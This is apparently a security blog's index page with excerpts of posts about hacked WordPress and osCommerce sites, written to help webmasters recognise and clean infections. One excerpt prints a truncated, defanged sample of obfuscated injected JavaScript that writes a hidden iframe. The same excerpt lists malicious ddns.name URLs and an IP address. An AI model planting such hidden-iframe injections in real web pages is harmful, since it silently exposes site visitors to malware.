Malware Piggybacks on Automatic WordPress Updates
Most WordPress bloggers know the “Always keep your WordPress blog up-to-date” mantra. To make upgrades painless, WordPress developers introduced the “Automatic Update” features in version 2.7. A blog admin only needs to visit the “Update WordPress” page (Tools -> Update) and click on the “Update Automatically” button. That’s it! Easy!
Sometimes I see how webmasters misinterpret the importance of upgrades for WordPress security. They expect that if they upgrade a hacked blog, it will immediately become clean and secure. Unfortunately it doesn’t work this way. Upgrades can only clean core WordPress files, leaving backdoors, infected themes, plugins and database records intact. That’s why it is important to clean up your site before the upgrade.
Moreover, a few days ago I came across a new massive infection (more than 1,000 currently known infected blogs) that hijacks the “Automatic Update” feature and makes it the event that triggers blog re-infection.
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Script Injection (*.ddns.name) and Backdoors
Just a quick review of hacker attack that I came across this week.
The attackers inject a malicious script into legitimate web pages on compromised sites and update the script several time a day (sometimes they change the script code and sometimes just make sure the script is still there, in case webmasters removed it). Typical scripts looks like this:
var $E=(Date);if($E){$f=['2*%0)%5}%1','%3{%b(%9_%8...skipped...(1))[$s.$Aj]($l[$0][$s.$1k](0,1));}}return this;},$3=$l(),$f='';$pi('l\x65\x6E\x67th');if ((Number)&&(Array)&&(Function)&&(String)&&(Image)){if(document.getElementsByTagName('s cript').length > 0){document.wr ite('<i frame src="'+document.getElementById('____Uy').innerHTML+'" style="position: fixed; left:100px; top:-1000px; visibility: hidden;"></iframe>');}}
The scripts create invisible iframes that load malicious content from subdomains of ddns.name (ddns.name is a free dynamic DNS service). E.g.
<i frame src="hxxp://npputdzykop .ddns .name/index.php?showtopic=892380" style="position: fixed; left:100px; top:-1000px; visibility: hidden;"></iframe>
hxxp://bacmdmrnxdf .ddns .name/index.php?showtopic=892380
hxxp://hjuusnhqspt .ddns .name/index.php?showtopic=892380
hxxp://kmkyqilckhi .ddns .name/index.php?showtopic=892380
hxxp://npputdzykop .ddns .name/index.php?showtopic=892380
hxxp://jnobuznhccv .ddns .name/index.php?showtopic=892380
…
Last time I checked, the malicious subdomains pointed to 37.59.74.146.
When Google detects such malware on websites, you will see the following (or similar) messages on Safe Browsing diagnostic pages:
Malicious software is hosted on 7 domain(s), including hyyjkhfgmxk .ddns .name/, google-‐analytics .com/, kmkyqilckhi.ddns.name/.
1 domain(s) appear to be functioning as intermediaries for distributing malware to visitors of this site, including google‐‐analytics .com/
/tmp/wp_inc or Not Your Typical WordPress Attack
This post will provide a very detailed and rather technical description of the latest massive WordPress hack. I find it interesting in many ways. Mainly because it’s so atypical.
If you don’t have time to read the whole article, you can head directly to the short description of the attack and then to the Summary section where I talk about what’s new, strange and uncommon in this attack. Or if you are a webmaster of a hacked blog, go to the “To Webmasters” section – it will help you resolve the problem.
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Hackers target unpatched WooFramework
When Michael VanDeMar mentioned the malicious “googlesafebrowsing .com” domain, I decided to check how exactly it was used in malware attacks. It’s quite a popular trick to mimic Google’s own domains to make malicious code look legitimate. I have a “collection” of several dozens on misspelled Google Analytics domains alone that were used for malware distribution. In this case, the domain name was made up rather than misspelled. It referres to Google’s Safe Browsing project and their diagnostic pages that actually use the google.com domain (as most other Google’s services).
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Hacked WordPress Blogs Poison Google Images
After a series of posts about Google Image poisoning campaigns that used hot-linked images a main trick to get top positions in search results, I’d like to describe a different Google Image poisoning attack that affects WordPress blogs and uses self-hosted images.
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Update on redef_colors/createCSS attack: PHP code, Backdoors and osCommerce.
A few days ago, I blogged about the hacker attack that used the BlackHole toolkit and injected “createRSS” and “defs_colors” malicious scripts into legitimate websites. I’ve worked with a few webmasters of infected sites since then and now have some important additional information that I want to share here.
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Another Update on the osCommerce .htaccess Hack
The osCommerce .htaccess hack that I wrote about here and here is still quite prevalent.
Some webmasters have problems locating the rogue .htaccess files so I decided to address this issue again.
Continue (some new facts included) »»
About this blog
Occasional posts from the developer of
Unmask Parasites about things that hackers already know and site owners should know (if they don't want to be victims).
Exploit reviews, security tips, and all that jazz.
